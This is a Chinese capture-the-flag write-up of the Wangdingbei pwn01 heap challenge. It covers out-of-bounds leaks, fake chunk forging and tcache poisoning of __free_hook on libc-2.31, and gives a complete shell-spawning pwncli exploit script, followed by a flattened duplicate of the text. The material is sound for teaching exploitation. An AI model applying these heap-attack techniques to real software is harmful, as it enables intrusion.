网鼎杯白虎组 pwn01 超详细分析
字数 1500 2025-08-23 18:31:25

网鼎杯白虎组 pwn01 题目分析与利用教程

题目概述

这是一个来自网鼎杯白虎组初赛的堆利用题目,属于常规的堆菜单题,但具有以下特点:

  • 没有常见的堆溢出、双重释放或UAF问题
  • 主要利用点在于OOB(越界)漏洞
  • 提供了一次任意地址写666666(0xA2C2A)的机会
  • 需要结合堆风水布局、tcache指针劫持和Hook攻击技术

保护机制分析

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
SHSTK:    Enabled
IBT:      Enabled
Stripped: No

保护全开,增加了利用难度。

功能分析

程序提供4个主要功能:

  1. add_chunk

    • 最多可申请32个chunk
    • chunk大小限制:0x90 < size <= 0x1000
    • 将size和指针分别存储在全局数组中
    • 无溢出漏洞
  2. delete_chunk

    • 存在OOB漏洞:未检查索引范围,可输入负数
    • 释放后指针清零,但size数组未清零
    • 无UAF或double-free问题
  3. edit_chunk

    • 只能使用一次
    • 可向任意地址写入666666(0xA2C2A)
    • 写入4字节数据
  4. show_chunk

    • 存在OOB漏洞:未检查索引范围
    • 可泄露任意内存内容

利用思路

1. 泄露PIE基址

通过OOB漏洞读取指针数组附近的内存:

  • 在指针数组上方存在一个指向自身的指针(0x4008偏移处)
  • 使用show(-11)可以泄露这个地址
  • 计算得到ELF基址:elf.address = leak - 0x4008

2. 泄露libc地址

堆布局策略:

  1. 先申请一个小chunk(0x108)并在其中伪造chunk header
  2. 申请一个unsorted bin大小的chunk(0x500)
  3. 申请两个小chunk(0x108)防止合并
  4. 释放unsorted bin chunk
  5. 重新申请小chunk(0x108),此时会分割unsorted bin
  6. 使用show()读取残留的libc指针

3. 利用任意地址写

关键点:

  • 使用edit()修改指针数组中的指针
  • 通过写入666666(0xA2C2A)来修改指针的低4字节
  • 目标是让指针指向伪造的chunk header

具体操作:

edit(pack(elf.address + 0x4068 - 3 + 24))

4. 堆风水布局与伪造chunk

  1. 在第一个小chunk中伪造0x311大小的chunk header
  2. 通过修改指针使其指向伪造的chunk
  3. 释放该chunk使其进入tcache bin
  4. 创建重叠chunk以控制后续内存

5. Tcache攻击

  1. 释放两个0x110大小的chunk到tcache
  2. 申请大chunk覆盖tcache的next指针
  3. 将next指针指向__free_hook
  4. 申请chunk并在__free_hook处写入system地址
  5. 释放包含"/bin/sh"的chunk获取shell

完整利用代码

#!/usr/bin/env python3
from pwncli import *
cli_script()
set_remote_libc('libc-2.31.so')

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

def cmd(i, prompt=b"Input your choice\n"):
    sla(prompt, i)

def add(sz: int, content: bytes):
    cmd('1')
    sla(b"Size:\n", str(sz).encode())
    sla(b"Content:\n", content)

def free(idx: int):
    cmd('2')
    sla(b"Index:\n", str(idx).encode())

def edit(content: bytes):
    cmd('3')
    sa(b"content:\n", content)

def show(idx: int):
    cmd('4')
    sla(b"Index:\n", str(idx).encode())

# 1. Leak PIE address
show(-11)
leak = unpack(rl()[:-1], "all")
elf.address = leak - 0x4008

# 2. Prepare fake chunk and leak libc
payload0 = flat({0x58: pack(0x311)}, filler=b"\x00")
add(0x108, payload0)
add(0x500, b"1")
add(0x108, b"2")
add(0x108, b"3")
free(1)
add(0x108, b"4"*7)
add(0x108, b"5")
add(0x108, b"6")

# 3. Leak libc address
show(4)
leak = r(8+6)[8:]
leak = unpack(leak, "all")
libc.address = leak - 0x1ed010

# 4. Arbitrary write to modify pointer
edit(pack(elf.address + 0x4068 - 3 + 24))
free(4)

# 5. Tcache attack
payload1 = flat({
    0xa8: pack(0x111),
    0x1b8: pack(0x111),
    0x1c0: pack(libc.sym.__free_hook) + pack(0xdeadbeef)
}, filler=b"\x00")

free(6)
free(5)
add(0x308, payload1)
add(0x108, b"/bin/sh\x00")
add(0x108, pack(libc.sym.system))
free(8)

ia()

关键知识点

  1. OOB漏洞利用

    • 通过越界读写可以泄露关键地址
    • 需要找到合适的内存布局和指针
  2. 堆风水布局

    • 合理规划chunk大小和释放顺序
    • 防止top chunk合并
    • 创建重叠chunk
  3. 任意地址写利用

    • 虽然只能写固定值,但可以用于修改指针低字节
    • 结合内存布局实现精确修改
  4. tcache攻击

    • 劫持tcache的next指针
    • 通过重叠chunk控制内存
    • 最终目标是修改__free_hook为system
  5. libc-2.31特性

    • 了解tcache和unsorted bin的行为
    • 注意保护机制对利用的影响

总结

这道题目综合考察了多种堆利用技术,关键在于:

  1. 发现并利用OOB漏洞泄露地址
  2. 巧妙利用有限的任意地址写机会
  3. 精确的堆布局和chunk伪造
  4. 最终的tcache劫持和hook攻击

通过这道题目可以深入理解现代堆利用的各种技术和挑战。

网鼎杯白虎组 pwn01 题目分析与利用教程 题目概述 这是一个来自网鼎杯白虎组初赛的堆利用题目,属于常规的堆菜单题,但具有以下特点: 没有常见的堆溢出、双重释放或UAF问题 主要利用点在于OOB(越界)漏洞 提供了一次任意地址写666666(0xA2C2A)的机会 需要结合堆风水布局、tcache指针劫持和Hook攻击技术 保护机制分析 保护全开,增加了利用难度。 功能分析 程序提供4个主要功能: add_ chunk 最多可申请32个chunk chunk大小限制:0x90 < size <= 0x1000 将size和指针分别存储在全局数组中 无溢出漏洞 delete_ chunk 存在OOB漏洞:未检查索引范围,可输入负数 释放后指针清零,但size数组未清零 无UAF或double-free问题 edit_ chunk 只能使用一次 可向任意地址写入666666(0xA2C2A) 写入4字节数据 show_ chunk 存在OOB漏洞:未检查索引范围 可泄露任意内存内容 利用思路 1. 泄露PIE基址 通过OOB漏洞读取指针数组附近的内存: 在指针数组上方存在一个指向自身的指针(0x4008偏移处) 使用 show(-11) 可以泄露这个地址 计算得到ELF基址: elf.address = leak - 0x4008 2. 泄露libc地址 堆布局策略: 先申请一个小chunk(0x108)并在其中伪造chunk header 申请一个unsorted bin大小的chunk(0x500) 申请两个小chunk(0x108)防止合并 释放unsorted bin chunk 重新申请小chunk(0x108),此时会分割unsorted bin 使用 show() 读取残留的libc指针 3. 利用任意地址写 关键点: 使用 edit() 修改指针数组中的指针 通过写入666666(0xA2C2A)来修改指针的低4字节 目标是让指针指向伪造的chunk header 具体操作: 4. 堆风水布局与伪造chunk 在第一个小chunk中伪造0x311大小的chunk header 通过修改指针使其指向伪造的chunk 释放该chunk使其进入tcache bin 创建重叠chunk以控制后续内存 5. Tcache攻击 释放两个0x110大小的chunk到tcache 申请大chunk覆盖tcache的next指针 将next指针指向 __free_hook 申请chunk并在 __free_hook 处写入system地址 释放包含"/bin/sh"的chunk获取shell 完整利用代码 关键知识点 OOB漏洞利用 : 通过越界读写可以泄露关键地址 需要找到合适的内存布局和指针 堆风水布局 : 合理规划chunk大小和释放顺序 防止top chunk合并 创建重叠chunk 任意地址写利用 : 虽然只能写固定值,但可以用于修改指针低字节 结合内存布局实现精确修改 tcache攻击 : 劫持tcache的next指针 通过重叠chunk控制内存 最终目标是修改 __free_hook 为system libc-2.31特性 : 了解tcache和unsorted bin的行为 注意保护机制对利用的影响 总结 这道题目综合考察了多种堆利用技术,关键在于: 发现并利用OOB漏洞泄露地址 巧妙利用有限的任意地址写机会 精确的堆布局和chunk伪造 最终的tcache劫持和hook攻击 通过这道题目可以深入理解现代堆利用的各种技术和挑战。